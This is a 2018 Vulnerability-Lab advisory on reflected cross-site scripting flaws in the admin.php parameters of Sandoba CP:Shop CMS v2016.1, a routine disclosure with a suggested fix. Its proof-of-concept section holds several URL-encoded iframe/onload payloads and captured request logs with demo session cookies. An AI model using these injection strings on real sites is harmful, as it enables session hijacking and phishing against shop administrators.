Document Title: =============== Sandoba CP:Shop CMS v2016.1 - Multiple Cross Site Scripting Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2122 Release Date: ============= 2018-03-02 Vulnerability Laboratory ID (VL-ID): ==================================== 2122 Common Vulnerability Scoring System: ==================================== 3.4 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== CP:Shop is the basis for your lasting success on the Internet. The system was designed so that customers are optimally supplied with information about articles, special promotions and discounts on the one hand, while the shop operator is at the same time subjected to essential work steps through automation. (Copy of the homepage: https://www.sandoba.de/produkte/shop-software-cpshop/) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple non-persistent cross site vulnerabilities in the official Sandoa CP:Shop v2016.1 CMS. Vulnerability Disclosure Timeline: ================================== 2018-03-02: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre auth - no privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A non-persistent cross site scripting vulnerabilities has been discovered in the official Sandoa CP:Shop v2016.1 Content Management System. The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to web-application requests. The security vulnerability is located in the `admin.php` files of the `./cpshop/` module. Remote attackers are able to inject own script codes to the client-side requested vulnerable web-application parameters. The attack vector of the vulnerability is non-persistent and the request method to inject/execute is GET. The vulnerabilities are classic client-side cross site scripting vulnerability. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected or connected application modules. Request Method(s): [+] GET Vulnerable File(s): [+] admin.php Vulnerable Parameter(s): [+] path [+] search [+] rename [+] dir Proof of Concept (PoC): ======================= The web vulnerabilities can be exploited by remote attackers without privileged user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exploitation https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]=fancybox&form[path]= %22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E http://cpshop.localhost:8080/cpshop/admin.php?form%5Bsearch%5D= %22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&form%5Bvar%5D=1&form%5Bposter%5D=0&form%5Bcategory%5D=0&file=news http://cpshop.localhost:8080/cpshop/admin.php?form[search]=https://www.test.de#!file=files&mode=rename_dir&form[dir]= %22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&form[path]=. http://cpshop.localhost:8080/cpshop/admin.php?form[search]=https://www.test.de#!file=files&mode=rename_dir&form[dir]=TEST&form[path]= %22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E http://cpshop.localhost:8080/cpshop/admin.php#!file=help&mode=search&search= %22%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&select_box=2 https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]= de%3E%22%3Ciframe%20src=evil.source%3E&form[path]=modules%2Ffast_gallery%2Flanguages PoC: Session Logs Status: 200[OK] GET https://cpshop.localhost:8080admin.php?file=files&mode=rename_dir&form[dir]=fancybox&form[path]=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&cleanajax=yes Mime Type[text/html] Request Header: Host[cpshop.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate, br] X-Requested-With[XMLHttpRequest] Referer[https://cpshop.localhost:8080admin.php] Cookie[shop_userkey=afb404c7622db6ced7a120e8e4e24505; log_data=DEMOADMINSHOP; PHPSESSID=03f32863066e90b45f109d7b1d5a0b5e; language=de; cookieconsent_dismissed=yes] Connection[keep-alive] Response Header: server[Apache/2.4.27] x-powered-by[PHP/7.0.20] expires[Thu, 19 Nov 1981 08:52:00 GMT] cache-control[no-store, no-cache, must-revalidate] pragma[no-cache] x-frame-options[SAMEORIGIN] content-encoding[gzip] set-cookie[language=de; expires=Tue, 20-Feb-2018 13:00:40 GMT; Max-Age=259200; path=/] content-type[text/html; charset=utf-8] X-Firefox-Spdy[h2] - Status: 302[Found] GET https://cpshop.localhost:8080/evil.source Mime Type[text/html] Request Header: Host[cpshop.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate, br] Referer[https://cpshop.localhost:8080admin.php] Cookie[shop_userkey=afb404c7622db6ced7a120e8e4e24505; log_data=DEMOADMINSHOP; PHPSESSID=03f32863066e90b45f109d7b1d5a0b5e; language=de; cookieconsent_dismissed=yes] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: server[Apache/2.4.27] location[http://cpshop.localhost:8080] content-length[296] content-type[text/html; charset=iso-8859-1] X-Firefox-Spdy[h2] - Status: pending[] GET http://cpshop.localhost:8080/cpshop/admin.php?file=news&clean=yes&ajax=yes&form%5Bsearch%5D= http%3A%2F%2Fcpshop.localhost:8080%2Fcpshop%2Fadmin.php%3Fform%255Bsearch%255D%3D%2522%253E%253Ciframe%2Bsrc%253Devil.source%2B onl&form%5Bvar%5D=1&form%5Bposter%5D=0&form%5Bcategory%5D=0&file=news Mime Type[unknown] Request Header: Host[cpshop.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://cpshop.localhost:8080/cpshop/admin.php] Cookie[log_data=DEMOADMINCMS; PHPSESSID=aa820d024a8b72f3a57e12e72cc63bb6; language=de] DNT[1] - 14:06:37.847[179ms][total 538ms] Status: 200[OK] GET http://cpshop.localhost:8080/cpshop/admin.php?form%5Bsearch%5D=http%3A%2F%2Fcpshop.localhost:8080%2Fcpshop%2Fadmin.php%3Fform%255Bsearch%255D%3D%2522%253E%253Ciframe%2Bsrc%253Devil.source%2Bonl&form%5Bvar%5D=1&form%5Bposter%5D=0&form%5Bcategory%5D=0&file=news Mime Type[text/html] Request Header: Host[cpshop.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://cpshop.localhost:8080/cpshop/admin.php] Cookie[log_data=DEMOADMINCMS; PHPSESSID=aa820d024a8b72f3a57e12e72cc63bb6; language=de] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache/2.4.27] X-Powered-By[PHP/7.0.20] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate] Pragma[no-cache] X-Frame-Options[SAMEORIGIN] Content-Encoding[gzip] Set-Cookie[language=de; expires=Tue, 20-Feb-2018 13:06:37 GMT; Max-Age=259200; path=/] Upgrade[h2c] Connection[Upgrade, Keep-Alive] Keep-Alive[timeout=5, max=100] Transfer-Encoding[chunked] Content-Type[text/html; charset=utf-8] Reference(s): http://cpshop.localhost:8080/cpshop/admin.php?form%5Bsearch%5D= http://cpshop.localhost:8080/cpshop/admin.php#!file=help&mode=search&search= https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]=fancybox&form[path]= http://cpshop.localhost:8080/cpshop/admin.php?form[search]=https://www.test.de#!file=files&mode=rename_dir&form[dir]= https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]= Solution - Fix & Patch: ======================= The cross site vulnerabilities can be resolved by implementation of htmlentities and a secure input restriction of characters. Security Risk: ============== The security risk of the client-side cross site scripting web vulnerabilities in the web-application are estimated as medium (cvss 3.4). Credits & Authors: ================== Vulnerability-Lab [research@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. 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